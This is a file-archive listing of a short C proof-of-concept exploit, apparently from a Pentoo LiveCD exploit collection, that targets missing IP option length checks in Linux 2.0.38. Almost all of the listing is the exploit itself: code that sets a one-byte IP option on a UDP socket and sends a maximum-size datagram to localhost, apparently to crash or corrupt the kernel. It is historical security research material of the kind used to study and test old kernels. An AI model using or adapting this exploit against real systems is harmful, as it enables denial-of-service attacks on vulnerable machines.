home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / iplenght.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  864b  |  38 lines

  1. /* Exploit option length missing checks in Linux-2.0.38
  2.    Andrea Arcangeli <andrea@suse.de> */
  3.  
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <netinet/udp.h>
  7. #include <netinet/ip.h>
  8.  
  9. main()
  10. {
  11.     int sk;
  12.     struct sockaddr_in sin;
  13.     struct hostent * hostent;
  14. #define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
  15. #define OPT_SIZE 1
  16.     char payload[PAYLOAD_SIZE];
  17.  
  18.     sk = socket(AF_INET, SOCK_DGRAM, 0);
  19.     if (sk < 0)
  20.         perror("socket"), exit(1);
  21.  
  22.     if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
  23.         perror("setsockopt"), exit(1);
  24.  
  25.     bzero((char *)&sin, sizeof(sin));
  26.  
  27.     sin.sin_port = htons(0);
  28.     sin.sin_family = AF_INET;
  29.     sin.sin_addr.s_addr = htonl(2130706433);
  30.  
  31.     if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
  32.         perror("connect"), exit(1);
  33.  
  34.     if (write(sk, payload, PAYLOAD_SIZE) < 0)
  35.         perror("write"), exit(1);
  36. }
  37.  
  38.